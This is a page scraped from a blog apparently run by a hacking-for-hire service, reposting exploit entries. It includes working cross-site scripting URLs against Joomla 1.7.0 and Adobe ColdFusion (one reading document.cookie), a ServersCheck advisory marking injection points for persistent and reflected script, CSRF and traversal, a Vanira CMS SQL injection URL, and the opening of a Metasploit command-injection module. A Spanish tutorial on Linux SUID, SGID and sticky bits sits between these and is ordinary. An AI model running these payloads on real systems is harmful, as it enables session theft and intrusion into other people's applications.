Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863114975

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/49853/info

Joomla! is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker could leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Joomla! 1.7.0 and prior are vulnerable. 

http://example.com/joomla17_noseo/administrator/index.php?option=com_categories&extension=com_content%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22


http://example.com/joomla17_noseo/administrator/index.php?option=com_media&view=images&tmpl=component&e_name=jform_articletext&asset=1%22%20onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22x=%22&author=


http://example.com/joomla17_noseo/administrator/index.php?option=com_media&view=images&tmpl=component&e_name=jform_articletext&asset=&author=1%22%20onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22x=%22
HireHackking 
source: https://www.securityfocus.com/bid/49793/info

ServersCheck Monitoring Software is prone to multiple remote input-validation vulnerabilities, including:

1. Multiple HTML-injection vulnerabilities
2. Multiple cross-site scripting vulnerabilities
3. A cross-site request forgery vulnerability
4. Multiple local file-include vulnerabilities
5. A security vulnerability that may allow attackers to send arbitrary SMS messages from the vendor's phone number.

An attacker can exploit these issues to execute arbitrary HTML and script code in the context of the browser or the Web server, gain access to sensitive information, send multiple SMS messages, and perform certain administrative tasks. Other attacks are also possible. 

Code Review: Input Validation Vulnerabilities (Persistent)

http://www.example.com/userslist.html?

<table border="0" cellpadding="0" cellspacing="0" class="tabdata"
width=&#039;98%&#039;>
<tr bgcolor="#ff9900">
<td width=90%><b>Benutzername</b></td>
<td align=center><b>Zugriffsrechte</b></td>
<td align=center><b>Löschen</b></td></tr>
<tr bgcolor=&#039;#ffef95&#039;><td style=&#039;padding-left:3px;padding-right:3px;&#039;><a
href=&#039;/usersettingsedit.html?username=
> >"<INSERT SCRIPTCODE HERE!>&&#039;>>"<INSERT OWN PERSISTENT SCRIPTCODE
HERE!!!></a></td>
<td align=center><a href="/usersettingsedit.html?username=>"<INSERT OWN
PERSISTENT SCRIPTCODE HERE!!!>">
<img src="/output/images/security.gif" border=0></a></td>
<td align=center><a href=&#039;&#039; onclick="return deleteit(&#039;0&#039;);"><img
src=&#039;/output/images/delete.gif?&#039; border=0></a></td>
</tr><tr ><td style=&#039;padding-left:3px;padding-right:3px;&#039;><a
href=&#039;/usersettingsedit.html
?username=>"<iframe src=http://test.de>&&#039;>>"<INSERT OWN PERSISTENT
SCRIPTCODE HERE!!!></a></td>
<td align=center><a href="/usersettingsedit.html?username=>"<INSERT OWN
PERSISTENT SCRIPTCODE HERE!!!>">
<img src="/output/images/security.gif" border=0></a></td>
<td align=center><a href=&#039;&#039; onclick="return deleteit(&#039;1&#039;);"><img
src=&#039;/output/images/delete.gif?&#039; border=0></a></td>
</tr></table><br><form action=usersadd.html method=post><td><input
type=hidden name=add value=yes>
<input type=submit value="NEUEN BENUTZER HINZUFüGEN" ></form>


http://www.example.com/downtime.html

<body bgcolor="white" leftmargin=0 topmargin=0 rightmargin=0 marginwidth=0>
<div style=&#039;padding-left:5px;padding-top:5px;&#039;><font color=black
style="font-size: 16px;"><strong>
Downtime Bericht >"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!> (1171011122)
</strong></font>
<hr align="left" width="97%" size="1" color="#ff9900" noshade
style="padding-top:0px; filter:progid:DXImageTransform.Microsoft.
Gradient(startColorStr=&#039;#ffcc00&#039;, endColorStr=&#039;white&#039;, gradientType=&#039;1&#039;)">
<br><div id="overDiv" style="position:absolute; visibility:hidden;
z-index:1000;"></div>


http://www.example.com/windowsaccountslist.html

<table border="0" cellpadding="0" cellspacing="0" class="tabdata">
<tr bgcolor="#ff9900">
<td><b>Benutzername</b></td>
<td align=center><b>Löschen</b></td>
</tr>
<tr bgcolor=&#039;#ffef95&#039;><td style=&#039;padding-left:3px;padding-right:3px;&#039;><a
href=&#039;/windowsaccountsedit.html?id=
1269018355&&#039;>>"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!></a></td>
<td align=center><a href=&#039;&#039; onclick="return
deleteit(&#039;1269018355&#039;);"><img src=&#039;/output/images/delete.gif?&#039;
border=0></a></td>
</tr></table><br>
<form action=windowsaccountsedit.html method=post><td><input type=hidden
name=add value=yes>
<input type=submit value="NEUEN BENUTZER HINZUFüGEN" ></form>


http://www.example.com/msnsettings.html

<div id="overDiv" style="position:absolute; visibility:hidden;
z-index:1000;"></div>
<script langauge="JavaScript" src="/output/js/overlib.js?"></script>
<div style=&#039;padding-left:5px;padding-top:5px;&#039;><font color=black
style="font-size: 16px;"><strong>
Konfiguriere MSN Warnung
</strong></font>
<hr align="left" width="97%" size="1" color="#ff9900" noshade
style="padding-top:0px; filter:progid:DXImageTransform.Microsoft.Gradient
(startColorStr=&#039;#ffcc00&#039;, endColorStr=&#039;white&#039;, gradientType=&#039;1&#039;)">
<br>Sie müssen ein MSN Konto festlegen, von dem das MSN basierten
Warnungen geschickt werden.<br>
<script language="JavaScript">
alert(&#039;Einstellungen gespeichert&#039;);
</script><div id=&#039;stylized&#039; class=&#039;settingsform&#039;>
<form method=post action=msnsettings.html name=msn>
<input type=hidden name=setting value=&#039;MSN&#039;>
<label>MSN Konto Name</label><input type=text name=account size=30
value=">"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!>"><br>
<label>MSN Konto Passwort</label><input type=password name=password
size=10 value=">"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!>"<br>
<br><br><input type=submit class=&#039;buttonok&#039; value="EINSTELLUNGEN
SPEICHERN" ></form></div>
<br><br></table><br><br> </td></tr></table>


http://www.example.com/enterprisesettings2.html

<form method=post action=enterprisesettings2.html>
<input type=hidden name=setting value=&#039;SNMPTRAP&#039;>
<input type=hidden name=stop value=&#039;&#039;>
<label>IP, an die die Traps gesendet werden</label><input type=text
name=newsetting0 size=30 value="127.0.0.1" >
<a onmouseover="return overlib(&#039;Geben Sie eine IP Adresse oder einen
Domänennamen ein, an welche die Traps gesendet
werden&#039;, LEFT);" onmouseout="return nd();"><img
src="/output/images/info.gif?" border=0 alt=&#039;Info&#039;></a><br>
<label>Port</label><input type=text name=newsetting1 size=30
value=">"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!><br>
<label>Der Community String.</label><input type=text name=newsetting2
size=30 value="" ><br>
<br><br><input type=hidden value="127.0.0.1<X>>"<INSERT OWN PERSISTENT
SCRIPTCODE HERE!!!>" name=previoussetting><input type=hidden value=""
name=check><input type=submit class=&#039;buttonok&#039; value="EINSTELLUNGEN
SPEICHERN" > <input type=button
value="SENDUNG VON SNMP TRAPS BEENDEN" class=&#039;buttonnok&#039;
Onclick="this.form.stop.value=1; this.form.submit();"></form></div>
<br><br></table><br><br> </td></tr></table>


http://www.example.com/settings.html?setting=LOGGING&

<label>Datenbank Vorlagen</label><select name=odbctemplate
onchange="javascript:changetemplate();">
<option value="">Wähle eine Datenbank Vorlage</option>
<option value="Driver={Oracle ODBC
Driver};Dbq=myDBName;Uid=myUsername;Pwd=myPassword">Oracle ODBC
Driver</option>
<option value="Driver={Microsoft ODBC for
Oracle};Server=OracleServer.world;Uid=myUsername;Pwd=myPassword">Microsoft
Oracle ODBC Driver</option>
<option value="Driver={INFORMIX 3.30 32
BIT};Host=hostname;Server=myserver;Service=service-name;Protocol=olsoctcp;Database=mydb;UID=username;PWD=myPwd

">Informix 3.30 ODBC Driver</option>
<option value="Driver={Pervasive ODBC Client
Interface};ServerName=srvname;dbq=">Pervasive ODBC Driver</option>
<option value="Driver={SQL Server}; Server=(local); Database=myDBName;
UID=sa; PWD=;">MS SQL ODBC Driver</option>
<option value="Driver={SQL Server Native Client 10.0};
Server=enter_IP_here; Database=enter_db_name_here;
UID=enter_account_name_here;
PWD=enter_password_here;">MS SQL 2008</option>
<option value="Driver={Microsoft Access Driver (*.mdb)};
DBQ=C:myDBName.mdb">MS Access ODBC Driver</option>
<option value="Driver={Microsoft Excel Driver (*.xls)};DBQ=physical path
to .xls file; DriverID=278;">MS Excel ODBC Driver</option>
<option value="Driver={Microsoft Text Driver
(*.txt;*.csv)};DefaultDir=physical path to .txt file;">Text ODBC
Driver</option>
<option value="DRIVER={MySQL ODBC 3.51
Driver};SERVER=;DATABASE=;USER=;Password=">mySQL ODBC 3.51</option>
</select><br><label>ODBC Verbindungsstring</label><input type=text
name=newsetting0 size=50 value=">"<INSERT SCRIPTCODE HERE!>" ><br><br>
<label>Speichere Werte in der Datenbank</label><input type=checkbox
name=newsetting1 value="true" > Ja<br><br><br>
<input type=hidden value=">"<INSERT OWN PERSISTENT SCRIPTCODE
HERE!!!><X><X><X><X>" name=previoussetting><input
type=hidden value="ODBC" name=check>
<input type=submit value="EINSTELLUNGEN SPEICHERN" class=&#039;buttonok&#039;>
<input type=button class=&#039;buttonnok&#039; value="DATABANKERFASSUNG BEENDEN"
Onclick="this.form.stop.value=1; this.form.submit();"></form>
</div><br><br></table><br><br> </td></tr></table>

<label>ODBC Verbindungsstring</label><input type=text name=newsetting0
size=50 value=">"<iframe src=http://vulnerability-lab.com width=600
height=600>"
> ><br><br><label>Speichere Werte in der Datenbank</label><input
type=checkbox name=newsetting1 value="true" > Ja<br><br><br>
<input type=hidden value=">"<INSERT OWN PERSISTENT SCRIPTCODE
HERE!!!><X><X><X><X>" name=previoussetting><input type=hidden
value="ODBC" name=check>
<input type=submit value="EINSTELLUNGEN SPEICHERN" class=&#039;buttonok&#039;>
<input type=button class=&#039;buttonnok&#039; value="DATABANKERFASSUNG BEENDEN"
Onclick="this.form.stop.value=1; this.form.submit();"></form>
</div>



References:
http://www.example.com/userslist.html?
http://www.example.com/teamslist.html?
http://www.example.com/windowsaccountsedit.html
http://www.example.com/bulkedit.html?
http://www.example.com/msnsettings.html
http://www.example.com/enterprisesettings2.html
http://www.example.com/settings.html?setting=LOGGING&





1.2
Code Review: Input Validation Vulnerabilities (Non Persistent)

http://www.example.com/checks2def.html

<form action=checks3other.html method=post name=checksdef
onSubmit=&#039;return checkrequired(this)&#039;>
<input type=hidden name=linenumber value=">"<NON-PERSITENT SCRIPTCODE
HERE!>"><input type=hidden name=type value="">
<input type=hidden name=addcheck value=""><input type=hidden
name=editsettings value="1">
<input type=hidden name=uidrule value="1171011122">
<input type=hidden name=id value="1171011122">
<input type=hidden name=required_label value="1171011122">
<input type=hidden name=devicegraphs value=""><tr>
<td>Überwachungregel Bezeichnung</td><td><input type=text size=35
name=namevisible value="WINDOWSHEALTH" style=&#039;width:250px;&#039;></td><td>
</td></tr><tr><td>Geräte-Name</td><td>


http://www.example.com/check2alerts.html

<form method=post action=checks2alerts.html name=alerts
target="main"><td> <td><input type=hidden value=""
name=linenumber><input type=hidden value="" name=check> <input
type=button value=&#039;FEHLER MELDUNGEN&#039; alt="/checks2alerts.html?
linenumber=&check=&type=down&KeepThis=true&TB_iframe=true&height=400&width=850"
title=&#039;Bearbeite Alarme für den FEHLER
– Status&#039; class=&#039;thickbox buttonalertsdown&#039;></td></form>
<form method=post action="" name=alerts target="main" ><td>
</td><td><input class=&#039;buttonnok&#039; type=submit value="
REGEL LöSCHEN" onclick="return deleteit(&#039;>"<NON-PERSITENT SCRIPTCODE
HERE!&#039;,&#039;&#039;);" onmouseover="return overlib(&#039;Durch klicken auf dieses Icon
können
Sie die Überwachungsregel löschen. Diese Operation kann nicht rückgängig
gemacht werden.&#039;, LEFT);" onmouseout="return nd();"></td></form>
</tr></table></div><br><br>


http://www.example.com/viewalerts.html

<div style=&#039;padding-left:5px;padding-top:5px;&#039;><font color=black
style="font-size: 16px;"><strong>
Regel Historie >"<NON-PERSITENT SCRIPTCODE HERE!> (<a
href="/viewfile.html?file=\checkslogs\1171011122.log">1171011122</a>)
</strong></font><hr align="left" width="97%" size="1" color="#ff9900"
noshade style="padding-top:0px; filter:
progid:DXImageTransform.Microsoft.Gradient(startColorStr=&#039;#ffcc00&#039;,
endColorStr=&#039;white&#039;, gradientType=&#039;1&#039;)">
<br>


http://www.example.com/downtime.html

<body bgcolor="white" leftmargin=0 topmargin=0 rightmargin=0 marginwidth=0>
<div style=&#039;padding-left:5px;padding-top:5px;&#039;><font color=black
style="font-size: 16px;"><strong>
Downtime Bericht >"<NON-PERSITENT SCRIPTCODE HERE!> (1171011122)
</strong></font>
<hr align="left" width="97%" size="1" color="#ff9900" noshade
style="padding-top:0px; filter:progid:DXImageTransform.Microsoft.
Gradient(startColorStr=&#039;#ffcc00&#039;, endColorStr=&#039;white&#039;, gradientType=&#039;1&#039;)">
<br><div id="overDiv" style="position:absolute; visibility:hidden;
z-index:1000;"></div>


Non Persistent References:
http://www.example.com/checks2def.html?id=
http://www.example.com/checks2def.html?id=1171011122&linenumber=6&check=
http://www.example.com/checks2def.html?id=1171011122&linenumber=
http://www.example.com/downtime.html?label=
http://www.example.com/downtime.html?label=1171011122&keyz=1171011122WINDOWSHEALTH&labelvisible=
http://www.example.com/timeline/timeline.html?xml=
http://www.example.com/devicegraphs.html?device=
http://www.example.com/viewgraphs.html?label=
http://www.example.com/viewalerts.html?label=1171011122&labelvisible=



1.3
Code Review: Cross Site Request Forgery (Force|Non Persistent)

<body bgcolor="white" leftmargin=0 topmargin=0 rightmargin=0 marginwidth=0>
<div
style="padding-left:5px;padding-right:5px;padding-top:10px;padding-bottom:10px;width:90%">
<img src="/output/images/generalsettings.jpg" border="0" align="left">
<div style=&#039;padding-left:5px;padding-top:5px;&#039;><font color=black
style="font-size: 16px;"><strong>
Definere Einstellungen zur Dienstanmeldung.
</strong></font>
<hr align="left" width="97%" size="1" color="#ff9900" noshade
style="padding-top:0px; filter:progid:DXImageTransform.Microsoft.Gradient
(startColorStr=&#039;#ffcc00&#039;, endColorStr=&#039;white&#039;, gradientType=&#039;1&#039;)"> <br>
ServersCheck läuft als ein Dienst auf diesem Computer. Standardmäßig
laufen alle Dienste von Windows unter dem lokalen Systemkonto.
Ein Dienst hat Zugang auf die Maschine, wo er gerade läuft, aber es ist
ihm ein Remotezugriff andere Computer untersagt. Für Windows
basierende Checks (Plattenspeicherplatz, Speicher, CPU...), muss der
ServersCheck Monitoring-Dienst unter einem Windows Admin-Konto
laufen.<br><br>
Setze hier die Domäne oder den System-Admin Benutzernamen mit Passwort.
Zum Auslassen dieser Option bitte leer lassen.<br><br>
<form action=popup_service2.html method=post name=service setting><table
cellpadding=5><tr><td>
Administrator Benutzername</td><td align=right>
<input type=text size=20 name=user></td></tr><tr><td>
Administrator Passwort</td><td align=right>
<input type=password size=20 name=pass></td></tr></table>
<br><br><input type=submit class=&#039;buttonok&#039; value=">> AKTUALISIERUNG" >
<input type=button class=&#039;buttonnok&#039;
value="SKIP" Onclick="window.location=&#039;/popup1.html&#039;;">
</form></div></div><br><br>



1.4
Code Review: Local Directory Traversal & Information Disclosure

http://www.example.com/viewlogfile2.html?file=scan.txt&

<body bgcolor="white" leftmargin=0 topmargin=0 rightmargin=0 marginwidth=0>
<div style=&#039;padding-left:5px;padding-top:5px;&#039;><font color=black
style="font-size: 16px;"><strong>
ServersCheck Protokolldateibetrachter: scan.txt
</strong></font>
<hr align="left" width="97%" size="1" color="#ff9900" noshade
style="padding-top:0px;
filter:progid:DXImageTransform.Microsoft.Gradient(startColorStr=&#039;#ffcc00&#039;,
endColorStr=&#039;white&#039;, gradientType=&#039;1&#039;)"><br>
<a href="/emptyfile.html?file=logging\scan.txt&">Leere Datei</a>
<a href="/emptyfile.html?file=logging\scan.txt&delete=true&">Löschen
Protokolldatei</a>
<hr noshade width=100%><ul><font color=black>
# Fri Mar 19 17:37:52 2010 Scanning ><iframe
src=http://vulnerability-lab.com width=600 height=600>..: Ping Failed
<br></font></ul></div><br><br> </BODY></HTML>


or ...


<HTML>
<HEAD>
<TITLE>ServersCheck 21 Day Evaluation Edition - version 8.0.8</TITLE>
<META http-equiv=content-type content="text/html">
<LINK HREF="/output/css/serverscheck.css" rel="stylesheet" type="text/css">
<LINK HREF="/output/css/thickbox.css" rel="stylesheet" type="text/css"
media="screen" />
<script type="text/javascript" src="/output/js/jquery.js"></script>
<script type="text/javascript" src="/output/js/thickbox.js"></script>
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
</HEAD><!-- DE -->
<body bgcolor="white" leftmargin=0 topmargin=0 rightmargin=0 marginwidth=0>
<div style=&#039;padding-left:5px;padding-top:5px;&#039;><font color=black
style="font-size: 16px;"><strong>
ServersCheck Protokolldateien</strong></font>
<hr align="left" width="97%" size="1" color="#ff9900" noshade
style="padding-top:0px; filter:progid:DXImageTransform.Microsoft.
Gradient(startColorStr=&#039;#ffcc00&#039;, endColorStr=&#039;white&#039;,
gradientType=&#039;1&#039;)"><br>
Um die Protokolldatei anzusehen, klicken Sie auf den Hyperlink, um sie
zu öffnen.<br><ul>
<li><a
href="/viewlogfile2.html?file=graphs-errors.log&">graphs-errors.log</a></li>
<li><a
href="/viewlogfile2.html?file=monitoring_manager_2010-3-19.log&">monitoring_manager_2010-3-19.log</a></li>
<li><a
href="/viewlogfile2.html?file=statuschange_2010-3-19.log&">statuschange_2010-3-19.log</a></li>
<li><a href="/viewlogfile2.html?file=watcher.log&">watcher.log</a></li>
</ul></div><br><br> </BODY></HTML>
HireHackking 
source: https://www.securityfocus.com/bid/49789/info

Vanira CMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/voteshow.php?vact=ok&vtpidshow=1 [SQL insertion attacks]
HireHackking 
source: https://www.securityfocus.com/bid/49787/info

Adobe ColdFusion is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

An attacker could exploit these vulnerabilities to execute arbitrary script code in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Adobe ColdFusion 7 is vulnerable; other versions may also be affected. 

http://example.com/CFIDE/componentutils/componentdetail.cfm?component=%3Cbody%20onload=alert(document.cookie)%3E

http://example.com/CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=%3Cbody%20onload=alert(document.cookie)%3E

http://example.com/CFIDE/componentutils/cfcexplorer.cfc?method=%3Cbody%20onload=alert(document.cookie)%3E
HireHackking

Todo el mundo conoce los clásicos permisos de Linux, read (r), write (w) y execute (x). Sin embargo, existen otros permisos especiales que son de los que vamos a estar hablando hoy. También vamos a estar viendo detalles importantes a conocer de los permisos en general y de como los posibles comportamientos del User ID o Group ID pueden afectarnos.

Índice:

  • Mini-fundamentos de Permisos en Linux
  • Permiso SGID
  • Permiso SUID
  • Sticky Bit
  • Comportamientos de UID y GID
  • Referencias

Mini-fundamentos de Permisos en Linux

Aunque parezcan que los permisos son muy sencillos, sí que es cierto que tienen detallitos que hay que conocer para su completo entendimiento. Lo primero de todo es su estructura:

suid sgid sticky bit

Esto es lo más básico y seguramente ya lo conozcamos todos (si no, no pasa nada, acabas de aprenderlo).

Sabiendo esto, hablemos sobre la precedencia en los permisos. Por ejemplo, si yo siendo el usuario sikumy, creo un archivo texto.txt. Lo puedo leer sin problemas, y hacer lo que quiera con él:

image 81

Como vemos, el archivo se crea con valor en propietario y grupo, sikumy. Todo guay hasta aquí, ahora bien, ¿qué ocurre si asigno permisos 070?, es decir, que nadie tenga ningún permiso, excepto las personas que pertenezcan al grupo sikumy, que lo tendrán todo. ¿Podré leer el archivo, siendo yo mismo sikumy, y aunque suene redundante, perteneciente al grupo sikumy?.

image 82

Pues la respuesta es que no, a pesar de yo estar en el grupo, no se me aplican los permisos asignados al mismo. Sin embargo, si soy otro usuario, por ejemplo, el usuario Coldd, y pertenezco al grupo sikumy, si podré leerlo:

image 83

Esto ocurre por la precedencia de los permisos. La mejor forma de entenderlo es la siguiente:

  • Leyendo los permisos del archivo de izquierda a derecha, nos vamos preguntando lo siguiente:
    • ¿Soy el propietario del archivo? Si lo soy, se me aplican los permisos del propietario. Si no:
      • ¿Soy miembro del grupo del archivo? Si lo soy, se me aplican los permisos del grupo. Si no:
        • Los permisos de otros serían los que se me aplicasen

Por eso mismo, en el primer caso, a pesar de que el usuario sikumy sea del grupo con mismo nombre, no podrá leer el archivo, porque al ser el propietario, se le aplican los permisos del propietario. Lo contrario al usuario Coldd, como no es propietario, se le aplicarán los permisos del grupo porque es miembro del grupo, si no lo fuese, se le aplicarían los permisos de «Otros».

Permiso SGID

El permiso SGID está relacionado con los grupos, tiene dos funciones:

  • Si se establece en un archivo, permite que cualquier usuario ejecute el archivo como si fuese miembro del grupo al que pertenece el archivo.
  • Si se establece en un directorio, a cualquier archivo creado en el directorio se le asignará como grupo perteneciente, el grupo del directorio.

Para los directorios, la lógica del SGID y el motivo de su existencia es por si trabajamos en grupo, para que todos podamos acceder a los archivos de las demás personas. Si SGID no existiera, cada persona cada vez que crease un archivo, tendría que cambiarlo del grupo suyo al grupo común del proyecto. Asimismo, evitamos tener que asignarle permisos a «Otros».

Ahora bien, ¿cómo identificamos el permiso SGID?

Cuando se asigna el permiso SGID, podemos notarlo porque en los permisos, en la parte de grupo, en el permiso de ejecución se asignará una s. Ojo, aquí hay que hacer dos distinciones:

  • Si el archivo tiene permisos de ejecución, se le asignará una s minúscula.
image 80
  • Si el archivo NO tiene permisos de ejecución, se le asignará una S mayúscula.
image 79

Esto realmente para los directorios no tiene relevancia, solo para los archivos. En cualquier caso, esta característica de s mayúscula o minúscula dependiendo del permiso de ejecución se aplica siempre, incluido en el permiso SUID.

Todo esto es muy bonito y tal, pero, ¿Cómo activamos SGID?

Para activarlo podemos usar cualquiera de los siguientes dos comandos:

  • chmod g+s <archivo>
  • chmod 2*** <archivo>

Siendo el * los permisos normales. (Ejemplo: chmod 2755)

Permiso SUID

El permiso SUID permite que un archivo se ejecute como si del propietario se tratase, independientemente del usuario que lo ejecute, el archivo se ejecutará como el propietario. Ejemplo:

image 78

Al asignar permisos SUID, la salida del comando whoami, a pasado de ser sikumy a ser root. Esto porque como podemos ver, el propietario del binario de whoami, es root. Por lo tanto, está ocurriendo exactamente la definición que hemos dado arriba.

Eso si, una cosa a tener en cuenta y bastante importante, es que el permiso SUID no funciona en scripts, solo lo hace en binarios compilados. Esto se hace por razones de seguridad. En cualquier caso si quisieseis habilitar la ejecución de un script como otro usuario, siempre se puede tirar de sudo.

Ya lo vemos arriba, pero la forma de identificar el permiso SUID es mediante una s en el permiso de ejecución de los permisos del propietario. Aquí se aplica lo mismo que hemos mencionado en SGID, si el propietario no tiene permisos de ejecución, pero si permiso SUID, se verá como una S mayúscula, de lo contrario, minúscula, que es como debería de estar.

¿Y qué ocurre con el permiso SUID en los directorios?

El SUID no aplica a los directorios debido a que no hay una razón convincente de por qué debería. No puede funcionar de la misma manera que SGID. Linux no permite que un usuario entregue un archivo a otro usuario, el único capaz de hacer esto es root. Es decir, si yo soy el usuario sikumy, aunque yo sea el propietario de un archivo, no seré capaz de usar chown para entregar el archivo al usuario JuanSec, esta acción solo la puede hacer root.

¿Cómo activamos SUID?

Podemos hacerlo con alguno de los dos siguientes comandos:

  • chmod u+s <archivo>
  • chmod 4*** <archivo>

Siendo el * los permisos normales (Ejemplo: chmod 4755).

Sticky Bit

El permiso Sticky Bit se puede aplicar tanto a archivos como directorios. Aunque lo más normal es aplicarlos a directorios. Las funciones de este permiso son las siguientes:

  • A nivel de directorio, restringe la eliminación y modificación de los archivos del directorio a todos los usuarios aunque tengan permisos de escritura, excepto al propietario del archivo y root. Ejemplo:
image 92

A pesar de que el usuario Coldd tiene permisos de escritura, es incapaz de borrar el archivo porque no es ni el propietario ni root.

  • Si este permiso se aplica a un archivo ejecutable. La primera vez que se ejecute, una copia del texto del programa se almacena en el área de swap (área de intercambio), para que la próxima vez que se ejecute el programa en la memoria, lo haga más rapido. Por texto del programa se entiende las instrucciones en código máquina del mismo. (No es muy común usar este permiso en archivos)

¿Cómo lo identificamos?

Si asignamos el Sticky Bit ya sea a un archivo o un directorio, a la hora de ver el permiso con ls -l, se verá tal que así:

rwxrwxrwt

Nótese la «t» al final.

¿Cómo activamos STICKY BIT?

Pues podemos usar cualquiera de los dos siguientes comandos:

  • chmod +t <archivo>
  • chmod 1*** <archivo>

Siendo el * los permisos normales. (Ejemplo: chmod 1755).

Nótese como cada permiso, SUID, SGID y Sticky Bit, tienen un valor octal, al igual que los permisos normales. En este caso sería así:

1 –> Sticky Bit

2 –> SGID

4 –> SUID

7 –> Todos los anteriores

Comportamientos de UID y GID

Por último, no tiene sentido este post y hablar de permisos si no hablamos sobre los ID de Usuarios y Grupos. Para empezar, hay que saber que todos los usuarios del sistema, tienen un identificador (UID), podemos comprobarlo en el archivo /etc/passwd:

image 84

Así mismo, los grupos también tienen identificadores, podemos comprobarlo en el archivo /etc/group:

image 85

Sabiendo esto, podemos llegar a distinguir a nivel práctico, 3 comportamientos del UID:

  • ID de Usuario Real (RUID) –> Identifica al propietario del proceso actual.
  • ID de Usuario Efectivo (EUID) –> Se usa para gestionar los accesos a un recurso. También es el que se tiene en cuenta para determinar el propietario de un archivo cuando se crea. Básicamente, determina que podemos hacer, a que podemos acceder, etc. Se podría decir, que a nivel práctico, «somos el usuario que indica el EUID».
  • ID de Usuario Guardado (SUID / Saved-User-ID) –> Se utiliza en archivos. Y permite que el proceso cambie su EUID. Cuando el proceso cambia su EUID, el EUID antes de cambiárselo, se almacena en el SUID para que cuando acabe el proceso, pueda volver a su EUID original.

Nota: al igual que existen estos tres comportamientos del UID. Ocurre lo mismo con el GID (Group ID). Por lo que, con la misma definición, pero en grupos. Existen: RGID, EGID y SGID.

Todos los procesos tienen dos UIDs y dos GIDs (real y efectivo). Normalmente, cuando ejecutemos un programa, el UID y GID real serán el mismo que el UID y GID efectivo. Sin embargo, si ese programa tiene el SUID activado, el UID efectivo cambiarán. Asimismo, si tiene el permiso SGID activo, el GID efectivo cambiará.

Me explico, si soy el usuario sikumy y hay un binario con SUID cuyo propietario es root. Yo al ejecutarlo, mi UID real seguirá siendo el de sikumy, sin embargo, el UID efectivo será el de root.

El UID efectivo, como se ha dicho es el que determina los accesos y privilegios de un proceso. Por ejemplo, si solo quien tenga UID 22 puede acceder a un archivo, si tu RUID es 22 pero tu EUID (UID) es 35, no podrás leerlo.

Podemos ver de forma más clara la distinción entre los UID con el siguiente programa en C:

image 93

Para que podáis copiarlo:

#include <stdio.h>
#include <unistd.h>
#include <pwd.h>

int main(void){

    struct passwd *r_pwd = getpwuid(getuid());
    printf("El Usuario Real (RUID) es %s\n", r_pwd->pw_name);

    struct passwd *e_pwd = getpwuid(geteuid());
    printf("El Usuario Efectivo es %s\n", e_pwd->pw_name);


}

Este programa nos muestra el RUID y EUID cuando lo ejecutamos. El propietario y grupo del respectivo binario es sikumy:

image 87

Ahora mismo el archivo no tiene ningún permiso especial como SUID, por lo que si lo ejecuta el usuario Coldd:

image 94

Nos saldrá que tanto el usuario real como efectivo es Coldd. Sin embargo, si ahora el usuario sikumy asigna permisos SUID, el usuario efectivo cuando lo ejecute Coldd, debería de ser sikumy:

image 89
image 95

Efectivamente cambia. El RUID es el usuario Coldd porque es quien inicia el proceso, sin embargo, a nivel práctico y de acceder a recursos y demás, será como si fuésemos el usuario sikumy.

Y esta es básicamente la idea de los distintos UID que podemos encontrar. Es importante conocer esto, ya que nos puede ayudar a entender más el propio sistema Linux o ayudarnos en alguna situación en la que nos podamos encontrar.

El ejemplo más evidente sobre entender mejor el sistema Linux tiene relación con el binario passwd. Este binario tiene por defecto asignado permiso SUID:

image 91

Tiene sentido, ya que el único que puede cambiar contraseñas en el sistema es root.

Ahora bien, con las definiciones que tenemos podemos pensar:

  • Oye, pero si el binario es permiso SUID y el propietario es root. Cuando yo lo ejecuto, ¿por qué en vez de cambiar mi contraseña, no estoy cambiando la de root?

Pues es una razón bastante simple y que podemos entender gracias a los UID. Es cierto que al ejecutar el binario de passwd, nuestro EUID será el de root. Sin embargo, el binario, para determinar de que usuario cambiar la contraseña, se fija en el RUID, el cual sigo siendo yo, el usuario normal.

Por lo que en conclusión, somos capaces de cambiar la contraseña gracias al EUID, y no cambiamos la contraseña de root porque el binario se fija en el RUID para ver de cuál usuario cambiar la contraseña.

Referencias

  • SUID bit on directories
  • SUID doesn’t work in Bash
  • SUID, SGID Explained
  • Why can’t an SGID program read a file from the same group if it’s used by another user?
  • Why can’t I read a file when I have group permissions
  • Precedence of user and group owner in file permissions
  • Difference between Real User ID, Effective User ID and Saved User ID
  • UNIX Concepts And Applications
  • SUID bit on binary file still yielding «Permission denied» error
  • Brief Overview of Real and Effective IDs in Linux C
  • Advanced Programming in the UNIX Environment

HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP Client Automation Command Injection',
      'Description'    => %q{
        This module exploits a command injection vulnerability on HP Client Automation, distributed
        actually as Persistent Systems Client Automation. The vulnerability exists in the Notify
        Daemon (radexecd.exe), which doesn't authenticate execution requests by default neither.
